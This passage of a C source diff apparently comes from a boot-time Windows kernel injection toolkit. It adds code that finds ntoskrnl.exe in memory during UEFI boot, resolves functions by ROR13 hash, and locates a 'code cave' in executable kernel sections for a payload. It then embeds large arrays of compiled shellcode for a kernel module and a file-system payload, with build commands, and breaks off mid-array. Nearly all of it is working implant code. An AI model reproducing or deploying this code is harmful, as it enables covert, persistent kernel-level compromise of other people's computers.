HashROR13A(LPSTR sz) +{ + DWORD dwVal, dwHash = 0; + while(*sz) { + dwVal = (DWORD)*sz++; + dwHash = (dwHash >> 13) | (dwHash << 19); + dwHash += dwVal; + } + return dwHash; +} + +/* +* Lookup address of function given a module base address and a ROR13 hash. +* -- hModule = base address of PE to look for function in. +* -- dwProcNameH = ROR13 hash of function name to lookup. +* -- return = address of function, 0 = fail. +*/ +QWORD PEGetProcAddressH(QWORD hModule, DWORD dwProcNameH) +{ + PDWORD pdwRVAAddrNames, pdwRVAAddrFunctions; + PWORD pwNameOrdinals; + DWORD i, dwFnIdx, dwHash; + LPSTR sz; + PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule; // dos header. + if(!dosHeader || dosHeader->e_magic != IMAGE_DOS_SIGNATURE) { return 0; } + PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)(hModule + dosHeader->e_lfanew); // nt header + if(!ntHeader || ntHeader->Signature != IMAGE_NT_SIGNATURE) { return 0; } + PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + hModule); + if(!exp || !exp->NumberOfNames || !exp->AddressOfNames) { return 0; } + pdwRVAAddrNames = (PDWORD)(hModule + exp->AddressOfNames); + pwNameOrdinals = (PWORD)(hModule + exp->AddressOfNameOrdinals); + pdwRVAAddrFunctions = (PDWORD)(hModule + exp->AddressOfFunctions); + for(i = 0; i < exp->NumberOfNames; i++) { + sz = (LPSTR)(hModule + pdwRVAAddrNames[i]); + dwHash = HashROR13A(sz); + if(dwHash == dwProcNameH) { + dwFnIdx = pwNameOrdinals[i]; + if(dwFnIdx >= exp->NumberOfFunctions) { return 0; } + return (QWORD)(hModule + pdwRVAAddrFunctions[dwFnIdx]); + } + } + return 0; +} + +BOOL PEGetSection(QWORD hModule, QWORD qwSzSection, PDWORD pdwSectionBaseRel, PDWORD pdwSectionSize) +{ + PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule; // dos header. + if(!dosHeader || dosHeader->e_magic != IMAGE_DOS_SIGNATURE) { return FALSE; } + PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)(hModule + dosHeader->e_lfanew); // nt header + if(!ntHeader || ntHeader->Signature != IMAGE_NT_SIGNATURE) { return FALSE; } + int nSections = ntHeader->FileHeader.NumberOfSections; + for(int i = 0; i < nSections; i++) { + PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)(hModule + dosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS64) + i * sizeof(IMAGE_SECTION_HEADER)); + if(*(PQWORD)sectionHeader->Name == qwSzSection) { + *pdwSectionBaseRel = sectionHeader->VirtualAddress; + *pdwSectionSize = sectionHeader->Misc.VirtualSize; + return TRUE; + } + } + return FALSE; +} + +// ---------------------------------------------------------------------------- +// "SPECIALIZED" UTILITY FUNCTIONS BELOW: +// ---------------------------------------------------------------------------- + +/* +* When ExitBootServices() is called by winload.efi ntoskrnl.exe (and hvix.exe) +* are already loaded and integrity checked by winload. The location of ntoskrnl +* is randomized in memory, but is usually found between address: 0x01000000 and +* 0x04000000. +* -- return = base address of ntoskrnl.exe, 0 if fail. +*/ +QWORD FindNtoskrnl() +{ + QWORD qwA, o; + BOOL fINITKDBG, fPOOLCODE; + for(qwA = 0x01000000; qwA < 0x04000000; qwA += 0x1000) { + if(*(PWORD)qwA == 0x5a4d) { // MZ header + fINITKDBG = FALSE; + fPOOLCODE = FALSE; + for(o = 0; o < 0x1000; o += 8) { + if(*(PQWORD)(qwA + o) == 0x4742444B54494E49) { // INITKDBG + fINITKDBG = TRUE; + } + if(*(PQWORD)(qwA + o) == 0x45444F434C4F4F50) { // POOLCODE + fPOOLCODE = TRUE; + } + if(fINITKDBG && fPOOLCODE) { + return qwA; + } + } + } + } + return 0; +} + +/* +* Locate a "code cave" - a place (in an executable section) consisting of zeros +* in which we can put our main executable payload. Function searches forward +* given a base address to find such a region of max qwSize bytes. Function is +* dumb and in rare cases code cave returned might be in NX section. +* -- hModule = base address to start searching from. +* -- qwSize = size of code cave to locate; max 0x1000 and even QWORD required. +* -- return = address of located code cave, 0 if fail. +*/ +QWORD FindCodeCave(QWORD hModule, QWORD qwSize) +{ + QWORD STR_SECTIONS_ALLOWED[] = { + 0x000000747865742e, // .text + 0x0000000045474150, // PAGE + 0x45444f434c4f4f50, // POOLCODE + 0x00004b4c45474150, // PAGELK + 0x0000444b45474150, // PAGEKD + 0x534c444845474150 // PAGEHDLS + }; + DWORD i, dwSectionBaseRel, dwSectionSize; + QWORD qwACC; + for(i = 0; i < sizeof(STR_SECTIONS_ALLOWED) / sizeof(QWORD); i++) { + if(!PEGetSection(hModule, STR_SECTIONS_ALLOWED[i], &dwSectionBaseRel, &dwSectionSize)) { continue; } // section not found + if(qwSize > (0x1000 - (dwSectionSize & 0xfff))) { continue; } // code cave too small + qwACC = hModule + dwSectionBaseRel + dwSectionSize; + if(*(PQWORD)qwACC) { continue; } // not empty - code cave probably already taken ... + return qwACC; + } + return 0; +} + +// ---------------------------------------------------------------------------- +// SHELLCODE MODULES (COMPILED SEPARATELY) BELOW: +// ---------------------------------------------------------------------------- + +// specially compiled kernel module payload, compile and extract shellcode with: +// +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel uefi_winload_ntos_kmd_c.c +// ml64.exe uefi_winload_ntos_kmd.asm /Feuefi_winload_ntos_kmd.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main uefi_winload_ntos_kmd_c.obj +// shellcode64.exe -o uefi_winload_ntos_kmd.exe +// xxd -i uefi_winload_ntos_kmd.bin +VOID GetData_KMD(PBYTE *ppb, PDWORD pcb) +{ + BYTE WINX64_KMD_BIN[] = { + 0xeb, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x50, 0x44, 0x0f, 0x20, 0xc0, 0x84, 0xc0, 0x75, 0x6a, 0x53, 0x51, 0x52, + 0x57, 0x56, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, 0x53, 0x41, 0x54, + 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x55, 0x48, 0x8d, 0x0d, 0xc2, 0xff, + 0xff, 0xff, 0x8b, 0x05, 0xc4, 0xff, 0xff, 0xff, 0x48, 0x2b, 0xc8, 0x8b, + 0x05, 0xb7, 0xff, 0xff, 0xff, 0x48, 0x03, 0xc8, 0x48, 0x8d, 0x15, 0xa9, + 0xff, 0xff, 0xff, 0x41, 0x0f, 0x20, 0xd8, 0x4c, 0x8b, 0xfc, 0x48, 0x81, + 0xec, 0x00, 0x01, 0x00, 0x00, 0x48, 0xc1, 0xec, 0x04, 0x48, 0xc1, 0xe4, + 0x04, 0xe8, 0xba, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xe7, 0x5d, 0x41, 0x5f, + 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x41, 0x5b, 0x41, 0x5a, 0x41, 0x59, + 0x41, 0x58, 0x5e, 0x5f, 0x5a, 0x59, 0x5b, 0x58, 0xc3, 0xcc, 0xcc, 0xcc, + 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, + 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x48, 0x63, 0x41, 0x3c, 0x8b, + 0xea, 0x33, 0xd2, 0x44, 0x8b, 0x84, 0x08, 0x88, 0x00, 0x00, 0x00, 0x4c, + 0x03, 0xc1, 0x45, 0x8b, 0x50, 0x20, 0x41, 0x8b, 0x78, 0x24, 0x4c, 0x03, + 0xd1, 0x41, 0x8b, 0x58, 0x1c, 0x48, 0x03, 0xf9, 0x41, 0x8b, 0x70, 0x18, + 0x48, 0x03, 0xd9, 0x85, 0xf6, 0x74, 0x2e, 0x45, 0x8b, 0x0a, 0x4c, 0x03, + 0xc9, 0x45, 0x33, 0xdb, 0xeb, 0x0d, 0x0f, 0xb6, 0xc0, 0x49, 0xff, 0xc1, + 0x41, 0xc1, 0xcb, 0x0d, 0x44, 0x03, 0xd8, 0x41, 0x8a, 0x01, 0x84, 0xc0, + 0x75, 0xec, 0x44, 0x3b, 0xdd, 0x74, 0x21, 0xff, 0xc2, 0x49, 0x83, 0xc2, + 0x04, 0x3b, 0xd6, 0x72, 0xd2, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x08, + 0x48, 0x8b, 0x6c, 0x24, 0x10, 0x48, 0x8b, 0x74, 0x24, 0x18, 0x48, 0x8b, + 0x7c, 0x24, 0x20, 0xc3, 0x0f, 0xb7, 0x14, 0x57, 0x41, 0x3b, 0x50, 0x14, + 0x73, 0xdf, 0x8b, 0x04, 0x93, 0x48, 0x03, 0xc1, 0xeb, 0xd9, 0xcc, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, + 0x74, 0x24, 0x18, 0x57, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x20, + 0x48, 0x8b, 0xf2, 0x4d, 0x8b, 0xf0, 0xba, 0xf9, 0xbe, 0xdd, 0x05, 0x48, + 0x8b, 0xe9, 0xe8, 0x39, 0xff, 0xff, 0xff, 0xba, 0xc9, 0xc5, 0x6e, 0x6c, + 0x48, 0x8b, 0xcd, 0x48, 0x8b, 0xd8, 0xe8, 0x29, 0xff, 0xff, 0xff, 0x41, + 0xbf, 0x00, 0x10, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x41, 0x8b, 0xd7, 0x41, + 0x8b, 0xcf, 0x48, 0x8b, 0xf8, 0xff, 0xd3, 0x48, 0x85, 0xc0, 0x74, 0x3a, + 0x4c, 0x39, 0xb0, 0xa0, 0x00, 0x00, 0x00, 0x75, 0x29, 0x0f, 0xb7, 0x4e, + 0x02, 0x48, 0xff, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x39, 0x88, 0xb8, + 0x00, 0x00, 0x00, 0x75, 0x15, 0x41, 0x8b, 0xd7, 0x48, 0x8b, 0xc8, 0xff, + 0xd7, 0x48, 0x8b, 0xd6, 0x48, 0x8b, 0xcd, 0xe8, 0x24, 0x00, 0x00, 0x00, + 0xeb, 0x08, 0x49, 0x8b, 0xd7, 0x48, 0x8b, 0xc8, 0xff, 0xd7, 0x48, 0x8b, + 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x6c, 0x24, 0x48, 0x48, 0x8b, 0x74, 0x24, + 0x50, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5f, 0x41, 0x5e, 0x5f, 0xc3, 0xcc, + 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x10, 0x48, + 0x89, 0x78, 0x18, 0x55, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, + 0x48, 0x8d, 0x68, 0xa1, 0x48, 0x81, 0xec, 0xa0, 0x00, 0x00, 0x00, 0x48, + 0x8b, 0xda, 0x48, 0x8b, 0xf1, 0xba, 0xf9, 0xbe, 0xdd, 0x05, 0xe8, 0x89, + 0xfe, 0xff, 0xff, 0xba, 0xc9, 0xc5, 0x6e, 0x6c, 0x48, 0x8b, 0xce, 0x4c, + 0x8b, 0xf8, 0xe8, 0x79, 0xfe, 0xff, 0xff, 0xba, 0x57, 0x63, 0x32, 0x5a, + 0x48, 0x8b, 0xce, 0x4c, 0x8b, 0xe0, 0xe8, 0x69, 0xfe, 0xff, 0xff, 0xba, + 0xdb, 0x4f, 0x3d, 0xc5, 0x48, 0x8b, 0xce, 0x4c, 0x8b, 0xe8, 0xe8, 0x59, + 0xfe, 0xff, 0xff, 0x45, 0x33, 0xc0, 0xba, 0x00, 0x10, 0x00, 0x00, 0xb9, + 0x00, 0x30, 0x00, 0x00, 0x4c, 0x8b, 0xf0, 0x41, 0xff, 0xd7, 0x48, 0x8b, + 0xf8, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x03, 0x01, 0x00, 0x00, 0xba, 0x00, + 0x10, 0x00, 0x00, 0x48, 0x8b, 0xc8, 0x41, 0xff, 0xd6, 0x48, 0x89, 0x77, + 0x08, 0x4c, 0x8d, 0xb7, 0x58, 0x03, 0x00, 0x00, 0x48, 0xc7, 0x47, 0x50, + 0x01, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x75, 0xe3, 0x48, 0xb8, 0x77, 0x33, + 0x33, 0x11, 0x77, 0x33, 0x11, 0xff, 0xc7, 0x45, 0xb7, 0x1f, 0x9d, 0x48, + 0x9d, 0x48, 0x89, 0x07, 0x48, 0x8b, 0xd3, 0x8b, 0x4b, 0x08, 0x8b, 0x43, + 0x0c, 0x48, 0x2b, 0xd1, 0x48, 0x03, 0xc2, 0xc7, 0x45, 0xbb, 0x92, 0xf5, + 0x45, 0x13, 0x48, 0x89, 0x47, 0x58, 0x8b, 0x43, 0x10, 0x48, 0x03, 0xc2, + 0xc7, 0x45, 0xbf, 0xbc, 0x1e, 0x36, 0x9f, 0x48, 0x89, 0x47, 0x60, 0x8b, + 0x43, 0x14, 0xbb, 0x0b, 0x00, 0x00, 0x00, 0x48, 0x03, 0xc2, 0xc7, 0x45, + 0xc3, 0x57, 0x63, 0x32, 0x5a, 0x48, 0x89, 0x47, 0x68, 0xc7, 0x45, 0xc7, + 0x6f, 0xa5, 0x77, 0x49, 0xc7, 0x45, 0xcb, 0xf9, 0xbe, 0xdd, 0x05, 0xc7, + 0x45, 0xcf, 0xc9, 0xc5, 0x6e, 0x6c, 0xc7, 0x45, 0xd3, 0x02, 0x6b, 0xa0, + 0x94, 0xc7, 0x45, 0xd7, 0x9b, 0x97, 0x64, 0xcf, 0xc7, 0x45, 0xdb, 0x89, + 0x4d, 0x3f, 0xbc, 0xc7, 0x45, 0xdf, 0x92, 0x6d, 0x58, 0x58, 0x48, 0x8b, + 0x4f, 0x08, 0x48, 0x8d, 0x76, 0xfc, 0x8b, 0x16, 0x4d, 0x8d, 0x76, 0xf8, + 0xe8, 0x7f, 0xfd, 0xff, 0xff, 0x49, 0x89, 0x06, 0x83, 0xc3, 0xff, 0x75, + 0xe5, 0xbe, 0x00, 0x10, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x8b, 0xd6, 0x8b, + 0xce, 0x41, 0xff, 0xd7, 0x48, 0x8b, 0xcf, 0x48, 0x8b, 0xd8, 0x41, 0xff, + 0xd5, 0x48, 0x89, 0x83, 0xc0, 0x00, 0x00, 0x00, 0x8b, 0xd6, 0x48, 0xb8, + 0x77, 0x33, 0x33, 0x11, 0x77, 0x33, 0x11, 0xff, 0x48, 0x8b, 0xcb, 0x48, + 0x89, 0x83, 0xb0, 0x00, 0x00, 0x00, 0x41, 0xff, 0xd4, 0x48, 0x8b, 0xcf, + 0xe8, 0x23, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x9c, 0x24, 0xa0, 0x00, 0x00, + 0x00, 0x49, 0x8b, 0x5b, 0x30, 0x49, 0x8b, 0x73, 0x38, 0x49, 0x8b, 0x7b, + 0x40, 0x49, 0x8b, 0xe3, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, + 0x5d, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x6c, + 0x24, 0x18, 0x56, 0x57, 0x41, 0x56, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, + 0xd9, 0x48, 0xc7, 0x44, 0x24, 0x40, 0xf0, 0xd8, 0xff, 0xff, 0xb9, 0x00, + 0x00, 0x00, 0x01, 0x41, 0xbe, 0xff, 0xff, 0xff, 0xff, 0x33, 0xed, 0x41, + 0x8b, 0xd6, 0x8b, 0xf5, 0x48, 0x89, 0x4b, 0x18, 0xff, 0x93, 0x10, 0x03, + 0x00, 0x00, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x75, 0x2c, 0xb9, 0x00, + 0x00, 0x40, 0x00, 0x41, 0x8b, 0xd6, 0x48, 0x89, 0x4b, 0x18, 0xff, 0x93, + 0x10, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x75, 0x12, + 0xb8, 0x01, 0x00, 0x00, 0xf0, 0x48, 0x89, 0x6b, 0x18, 0x48, 0x89, 0x43, + 0x30, 0xe9, 0xae, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xcf, 0x48, 0x89, 0x7b, + 0x28, 0xff, 0x93, 0x18, 0x03, 0x00, 0x00, 0x48, 0x89, 0x43, 0x20, 0x41, + 0xbe, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, + 0x4c, 0x89, 0x73, 0x30, 0x48, 0x85, 0xc0, 0x75, 0x23, 0x49, 0x03, 0xf6, + 0x48, 0xb8, 0x00, 0xe4, 0x0b, 0x54, 0x02, 0x00, 0x00, 0x00, 0x48, 0x3b, + 0xf0, 0x76, 0xde, 0x4c, 0x8d, 0x44, 0x24, 0x40, 0x33, 0xd2, 0x33, 0xc9, + 0xff, 0x93, 0x50, 0x03, 0x00, 0x00, 0xeb, 0xcd, 0x48, 0xc7, 0x43, 0x30, + 0x02, 0x00, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x03, 0x0f, 0x84, 0x2a, 0x01, + 0x00, 0x00, 0x48, 0x83, 0xf8, 0x04, 0x75, 0x4c, 0xff, 0x93, 0x20, 0x03, + 0x00, 0x00, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x75, 0x06, 0x48, 0x89, + 0x6b, 0x38, 0xeb, 0x38, 0x4c, 0x8b, 0xc5, 0x48, 0x39, 0x28, 0x75, 0x06, + 0x48, 0x39, 0x68, 0x08, 0x74, 0x09, 0x4d, 0x03, 0xc6, 0x48, 0x83, 0xc0, + 0x10, 0xeb, 0xec, 0x49, 0xc1, 0xe0, 0x04, 0x48, 0x8b, 0xd6, 0x48, 0x8b, + 0xcf, 0x4c, 0x89, 0x43, 0x48, 0xff, 0x93, 0x40, 0x03, 0x00, 0x00, 0x48, + 0x8b, 0xce, 0xff, 0x93, 0x00, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, + 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x05, 0x75, 0x18, 0x48, 0x8b, + 0xcb, 0x48, 0x39, 0xab, 0x68, 0x01, 0x00, 0x00, 0x74, 0x05, 0xff, 0x53, + 0x60, 0xeb, 0x03, 0xff, 0x53, 0x58, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x8b, + 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x49, 0x2b, 0xc6, 0x49, 0x3b, 0xc6, 0x77, + 0x5a, 0x48, 0x39, 0xab, 0x68, 0x01, 0x00, 0x00, 0x74, 0x4d, 0x48, 0x8b, + 0x53, 0x48, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0x4b, 0x40, 0xff, 0x93, 0x28, + 0x03, 0x00, 0x00, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x74, 0x34, 0x4c, + 0x8b, 0x43, 0x48, 0x4c, 0x39, 0xb3, 0xf8, 0x0f, 0x00, 0x00, 0x75, 0x08, + 0x48, 0x8b, 0xd0, 0x48, 0x8b, 0xcf, 0xeb, 0x06, 0x48, 0x8b, 0xd7, 0x48, + 0x8b, 0xce, 0xff, 0x93, 0x40, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x53, 0x48, + 0x48, 0x8b, 0xce, 0xff, 0x93, 0x30, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x73, + 0x38, 0xeb, 0x04, 0x48, 0x89, 0x6b, 0x38, 0x48, 0x83, 0xbb, 0xf8, 0x0f, + 0x00, 0x00, 0x06, 0x75, 0x15, 0x4c, 0x8b, 0x43, 0x48, 0x48, 0x8b, 0xcf, + 0x48, 0x8b, 0x53, 0x40, 0xff, 0x93, 0x40, 0x03, 0x00, 0x00, 0x4c, 0x89, + 0x73, 0x38, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x07, 0x75, 0x15, + 0x4c, 0x8b, 0x43, 0x48, 0x48, 0x8b, 0xd7, 0x48, 0x8b, 0x4b, 0x40, 0xff, + 0x93, 0x40, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x89, 0xab, + 0xf8, 0x0f, 0x00, 0x00, 0x48, 0x8b, 0xf5, 0xe9, 0x91, 0xfe, 0xff, 0xff, + 0xb8, 0x00, 0x00, 0x00, 0xf0, 0x48, 0x8b, 0xcf, 0x48, 0x89, 0x43, 0x30, + 0xff, 0x93, 0x08, 0x03, 0x00, 0x00, 0x48, 0x89, 0x6b, 0x20, 0x48, 0x89, + 0x6b, 0x28, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x89, 0x2b, 0x48, 0x89, 0xab, + 0xf8, 0x0f, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x48, 0x48, 0x8b, 0x6c, + 0x24, 0x50, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5e, 0x5f, 0x5e, 0xc3 + }; + *ppb = WINX64_KMD_BIN; + *pcb = sizeof(WINX64_KMD_BIN); +} + +// standard wx64_vfs payload, compile and extract shellcode with: +// +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_vfs.c +// ml64 wx64_common_a.asm /Fewx64_vfs.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_vfs.obj wx64_common.obj +// shellcode64.exe -o wx64_vfs.exe +// xxd -i wx64_vfs.bin +VOID GetData_VFS(PBYTE *ppb, PDWORD pcb) +{ + BYTE WINX64_VFS_BIN[] = { + 0x56, 0x48, 0x8b, 0xf4, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, + 0xe8, 0xb7, 0x06, 0x00, 0x00, 0x48, 0x8b, 0xe6, 0x5e, 0xc3, 0x0f, 0x20, + 0xd8, 0xc3, 0x0f, 0x09, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x89, 0x7c, 0x24, 0x18, 0x55, 0x48, 0x8d, 0x6c, 0x24, 0xa9, + 0x48, 0x81, 0xec, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x83, 0x65, 0x6f, 0x00, + 0x48, 0x8d, 0x4d, 0x17, 0x48, 0x8b, 0xfa, 0x49, 0x8b, 0xd8, 0xba, 0x10, + 0x00, 0x00, 0x00, 0xff, 0x97, 0x80, 0x00, 0x00, 0x00, 0xba, 0x30, 0x00, + 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x27, 0xff, 0x97, 0x80, 0x00, 0x00, 0x00, + 0x48, 0x8d, 0x93, 0x1c, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x07, 0xff, + 0x57, 0x78, 0x83, 0x64, 0x24, 0x50, 0x00, 0x48, 0x8d, 0x45, 0x07, 0x48, + 0x83, 0x64, 0x24, 0x48, 0x00, 0x4c, 0x8d, 0x4d, 0x17, 0x48, 0x83, 0x65, + 0x2f, 0x00, 0x4c, 0x8d, 0x45, 0x27, 0xc7, 0x44, 0x24, 0x40, 0x20, 0x00, + 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x6f, 0x48, 0x89, 0x45, 0x37, 0x0f, 0x57, + 0xc0, 0xb8, 0x03, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x45, 0x27, 0x30, 0x00, + 0x00, 0x00, 0x89, 0x44, 0x24, 0x38, 0xba, 0x00, 0x00, 0x00, 0x80, 0x89, + 0x44, 0x24, 0x30, 0xc7, 0x44, 0x24, 0x28, 0x80, 0x00, 0x00, 0x00, 0x48, + 0x83, 0x64, 0x24, 0x20, 0x00, 0x48, 0xc7, 0x45, 0x3f, 0x40, 0x02, 0x00, + 0x00, 0xf3, 0x0f, 0x7f, 0x45, 0x47, 0xff, 0x97, 0x90, 0x00, 0x00, 0x00, + 0x48, 0x8b, 0x4d, 0x6f, 0x8b, 0xd8, 0x48, 0x85, 0xc9, 0x74, 0x06, 0xff, + 0x97, 0x88, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x9c, 0x24, 0xb0, 0x00, 0x00, + 0x00, 0x8b, 0xc3, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b, 0x7b, 0x20, 0x49, + 0x8b, 0xe3, 0x5d, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x7c, + 0x24, 0x18, 0x55, 0x48, 0x8d, 0x6c, 0x24, 0xa9, 0x48, 0x81, 0xec, 0xb0, + 0x00, 0x00, 0x00, 0x48, 0x83, 0x65, 0x6f, 0x00, 0x48, 0x8d, 0x4d, 0x17, + 0x48, 0x8b, 0xfa, 0x49, 0x8b, 0xd8, 0xba, 0x10, 0x00, 0x00, 0x00, 0xff, + 0x97, 0x80, 0x00, 0x00, 0x00, 0xba, 0x30, 0x00, 0x00, 0x00, 0x48, 0x8d, + 0x4d, 0x27, 0xff, 0x97, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x93, 0x1c, + 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x07, 0xff, 0x57, 0x78, 0x83, 0x64, + 0x24, 0x50, 0x00, 0x48, 0x8d, 0x45, 0x07, 0x48, 0x83, 0x64, 0x24, 0x48, + 0x00, 0x4c, 0x8d, 0x4d, 0x17, 0x48, 0x83, 0x65, 0x2f, 0x00, 0x4c, 0x8d, + 0x45, 0x27, 0xc7, 0x44, 0x24, 0x40, 0x00, 0x10, 0x00, 0x00, 0x48, 0x8d, + 0x4d, 0x6f, 0xc7, 0x44, 0x24, 0x38, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x57, + 0xc0, 0xc7, 0x44, 0x24, 0x30, 0x04, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, + 0x00, 0x40, 0xc7, 0x44, 0x24, 0x28, 0x80, 0x00, 0x00, 0x00, 0x48, 0x83, + 0x64, 0x24, 0x20, 0x00, 0x48, 0xc7, 0x45, 0x27, 0x30, 0x00, 0x00, 0x00, + 0x48, 0xc7, 0x45, 0x3f, 0x40, 0x02, 0x00, 0x00, 0x48, 0x89, 0x45, 0x37, + 0xf3, 0x0f, 0x7f, 0x45, 0x47, 0xff, 0x97, 0x90, 0x00, 0x00, 0x00, 0x48, + 0x8b, 0x4d, 0x6f, 0x8b, 0xd8, 0x48, 0x85, 0xc9, 0x74, 0x06, 0xff, 0x97, + 0x88, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x9c, 0x24, 0xb0, 0x00, 0x00, 0x00, + 0x8b, 0xc3, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b, 0x7b, 0x20, 0x49, 0x8b, + 0xe3, 0x5d, 0xc3, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x10, 0x48, + 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x55, 0x41, 0x54, 0x41, 0x55, + 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0x68, 0xa1, 0x48, 0x81, 0xec, 0xb0, + 0x00, 0x00, 0x00, 0x33, 0xc0, 0x48, 0x8b, 0xd9, 0x48, 0x8b, 0x89, 0x10, + 0x02, 0x00, 0x00, 0x49, 0x8b, 0xf8, 0x48, 0x89, 0x45, 0x67, 0x4c, 0x8b, + 0xfa, 0x44, 0x8b, 0xf0, 0x48, 0x81, 0xf9, 0x00, 0x00, 0x20, 0x00, 0x73, + 0x0a, 0xb8, 0x07, 0x00, 0x00, 0xf0, 0xe9, 0xd5, 0x01, 0x00, 0x00, 0x4c, + 0x8b, 0x63, 0x28, 0x48, 0x81, 0xc1, 0x00, 0x00, 0xf0, 0xff, 0x4c, 0x03, + 0xa3, 0x08, 0x02, 0x00, 0x00, 0x48, 0xb8, 0x8f, 0xe3, 0x38, 0x8e, 0xe3, + 0x38, 0x8e, 0xe3, 0x48, 0xf7, 0xe1, 0x48, 0x8d, 0x4d, 0xe7, 0x4c, 0x8b, + 0xea, 0xba, 0x10, 0x00, 0x00, 0x00, 0x49, 0xc1, 0xed, 0x09, 0x41, 0xff, + 0x97, 0x80, 0x00, 0x00, 0x00, 0xbe, 0x30, 0x00, 0x00, 0x00, 0x48, 0x8d, + 0x4d, 0x07, 0x8b, 0xd6, 0x41, 0xff, 0x97, 0x80, 0x00, 0x00, 0x00, 0x48, + 0x8d, 0x97, 0x1c, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0xf7, 0x41, 0xff, + 0x57, 0x78, 0x4c, 0x21, 0x75, 0x0f, 0x48, 0x8d, 0x45, 0xf7, 0x0f, 0x57, + 0xc0, 0xc7, 0x44, 0x24, 0x28, 0x21, 0x40, 0x00, 0x00, 0x4c, 0x8d, 0x4d, + 0xe7, 0x48, 0x89, 0x45, 0x17, 0x4c, 0x8d, 0x45, 0x07, 0x48, 0x89, 0x75, + 0x07, 0xba, 0x01, 0x00, 0x10, 0x00, 0x48, 0xc7, 0x45, 